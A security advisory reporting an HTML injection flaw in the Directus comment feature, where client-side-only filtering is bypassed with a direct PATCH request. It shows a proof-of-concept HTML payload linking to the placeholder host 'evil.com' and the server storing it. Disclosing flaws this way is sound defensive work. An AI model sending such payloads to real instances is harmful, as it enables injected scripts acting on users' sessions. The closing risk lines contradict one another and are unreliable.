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GHSA-r6wx-627v-gh2f
No affected components available
Summary
The Comment feature has implemented a filter to prevent users from adding restricted characters, such as HTML tags. However, this filter operates on the client-side, which can be bypassed, making the application vulnerable to HTML Injection.
Details
The Comment feature implements a character filter on the client-side, this can be bypassed by directly sending a request to the endpoint.
Example Request:
PATCH /activity/comment/3 HTTP/2
Host: directus.local
{
"comment": "<h1>TEST <p style=\"color:red\">HTML INJECTION</p> <a href=\"//evil.com\">Test Link</a></h1>"
}
Example Response:
{
"data": {
"id": 3,
"action": "comment",
"user": "288fdccc-399a-40a1-ac63-811bf62e6a18",
"timestamp": "2023-09-06T02:23:40.740Z",
"ip": "10.42.0.1",
"user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36",
"collection": "directus_files",
"item": "7247dda1-c386-4e7a-8121-7e9c1a42c15a",
"comment": "<h1>TEST <p style=\"color:red\">HTML INJECTION</p> <a href=\"//evil.com\">Test Link</a></h1>",
"origin": "https://directus.local",
"revisions": []
}
}
Example Result:
Impact
With the introduction of session cookies this issue has become exploitable as a malicious script is now able to do authenticated actions on the current users behalf.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. The attacker needs the user to perform some action, like clicking a link. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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